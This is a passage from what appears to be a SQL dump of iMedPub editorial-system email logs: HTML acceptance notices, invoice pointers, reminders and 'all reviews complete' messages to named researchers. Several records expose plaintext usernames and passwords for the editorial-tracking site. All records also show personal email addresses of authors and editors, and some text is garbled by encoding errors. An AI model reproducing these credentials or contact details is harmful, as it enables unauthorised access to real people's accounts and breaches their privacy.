<tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-4706</b><br />\r\n            <br />\r\n            Article Title: <b>Short-term movement and survival of resident Brown Trout in response to instream habitat manipulation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Davis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jake.davis@state.sd.us',4706,'2020-07-21',645),(1689,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4466</b><br />\r\n            <br />\r\n            Article Title: <b>A brief overview of SARS-CoV-2 </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ihsan Ali</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4466</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',4466,'2020-07-23',248),(1695,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-4483</b><br />\r\n            <br />\r\n            Article Title: <b>ANALYSIS OF THE HEALTH FINANCING STRUCTURE OF BOTSWANA</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>iphspr-20-4483</b> for the <b>Health Systems and Policy Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','archana.sarkar5@gmail.com',4483,'2020-07-24',84),(1696,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-4483</b><br />\r\n            <br />\r\n            Article Title: <b>ANALYSIS OF THE HEALTH FINANCING STRUCTURE OF BOTSWANA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsprj.com/\" target=\"_blank\">Health Systems and Policy Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ogunseye</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sholybliss4eva@yahoo.com',4483,'2020-07-24',84),(1697,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-4580</b><br />\r\n            <br />\r\n            Article Title: <b>Can canned tuna improve cardiovascular health? Study of the effect of consumption of a functional food developed from Thunnus albacares on the lipid profile</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Garc&Atilde;&shy;a</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','breixoventoso@hotmail.com',4580,'2020-07-24',645),(1699,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-4530</b><br />\r\n            <br />\r\n            Article Title: <b>Estimate of gillnet selectivity parameters and true relative abundance of Oreochromisniloticus and Sarotherodongalileus, using four indirect methods, with gillnets principally of three different meshes in the Volta Lake, Ghana</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Lawrence Issah Braimah</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-4530</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',4530,'2020-07-24',645),(1700,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-4530</b><br />\r\n            <br />\r\n            Article Title: <b>Estimate of gillnet selectivity parameters and true relative abundance of Oreochromisniloticus and Sarotherodongalileus, using four indirect methods, with gillnets principally of three different meshes in the Volta Lake, Ghana</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Issah Braimah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','l.i.braimah@gmail.com',4530,'2020-07-24',645),(1707,'<p>Ref.:  Ms. No. : <b>ipaom-20-4969</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Case Report of 78 &acirc;&euro;&ldquo;year-old man with meningitis, Pulmonary Thromboembolism &amp;SARS-Coronavirus-2infection</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Abbaspourrad</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4969</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>zahra</b><br />\r\npassword: <b>lLkDfoUh</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','zahra_med2002@yahoo.com',4969,'2020-07-24',85),(1709,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4241</b><br />\r\n            <br />\r\n            Article Title: <b>ANALYSIS OF MYELOMALACIA AND POSTERIOR LONGITUDINAL LIGAMENT OSSIFICATION AS PROGNOSTIC FACTORS IN PATIENTS WITH SPONDYLOTIC CERVICAL MYELOPATHY SUBMITTED TO LAMINOPLASTY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Antikievicz</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','antikievicz@gmail.com',4241,'2020-07-25',75),(1710,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4482</b><br />\r\n            <br />\r\n            Article Title: <b>A Prospective Study of Quality of Life in Patients Undergoing Microvascular Decompression for Hemifacial Spasm</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Safonova</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','as61@pitt.edu',4482,'2020-07-25',75),(1712,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3804</b><br />\r\n            <br />\r\n            Article Title: <b>Attitude of health workers (nurses) towards patients and the perception patients have about them: a case study at kropa health centre inghana</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Richard Owusu Nyarko</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-20-3804</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sarkar<br />\r\n            <b>Password:</b> SeeRVPCK<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','archana.sarkar5@gmail.com',3804,'2020-07-25',84),(1713,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3798</b><br />\r\n            <br />\r\n            Article Title: <b>The Untapped Potential of Foreign Medical Graduates (FMG) in the United States for COVID-19 Pandemic Response</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ibrahim Feyissa</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-20-3798</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sarkar<br />\r\n            <b>Password:</b> SeeRVPCK<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','archana.sarkar5@gmail.com',3798,'2020-07-25',84),(1715,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2674</b><br />\r\n            <br />\r\n            Article Title: <b>Implementation barriers for mHealth for non communicable diseases prevention and management in low and middle income countries a scoping review and field based views from implementers </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Josefien van Olmen</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-2674</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sarkar<br />\r\n            <b>Password:</b> SeeRVPCK<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','archana.sarkar5@gmail.com',2674,'2020-07-25',84),(1716,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3804</b><br />\r\n            <br />\r\n            Article Title: <b>Attitude of health workers (nurses) towards patients and the perception patients have about them: a case study at kropa health centre inghana</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsprj.com/\" target=\"_blank\">Health Systems and Policy Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Owusu Nyarko</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','richardnyarko91@yahoo.com',3804,'2020-07-25',84),(1717,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2674</b><br />\r\n            <br />\r\n            Article Title: <b>Implementation barriers for mHealth for non communicable diseases prevention and management in low and middle income countries a scoping review and field based views from implementers </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsprj.com/\" target=\"_blank\">Health Systems and Policy Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>van Olmen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jvanolmen@itg.be',2674,'2020-07-25',84),(1718,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4187</b><br />\r\n            <br />\r\n            Article Title: <b>Hematologic Predictors of Endovascular Retreatment for Recurrent Vasospasm in Aneurysmal Subarachnoid Hemorrhage</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Weston Gordon</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4187</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',4187,'2020-07-25',75),(1719,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4322</b><br />\r\n            <br />\r\n            Article Title: <b>The Impact of Coronavirus Disease 2019 on Outpatient Neurology</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mustafa Al-Chalabi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4322</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',4322,'2020-07-25',75),(1720,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4005</b><br />\r\n            <br />\r\n            Article Title: <b>USE OF INTRAVENTRICULAR VANCOMYCIN IN NEONATAL MENINGITIS  DUETO ELIZABETHKINGILLA MENINGOSEPTICA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>mayank jain</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4005</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',4005,'2020-07-25',75),(1721,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4134</b><br />\r\n            <br />\r\n            Article Title: <b>Effect of Rigid Ankle Foot Orthosis on Postural Control and 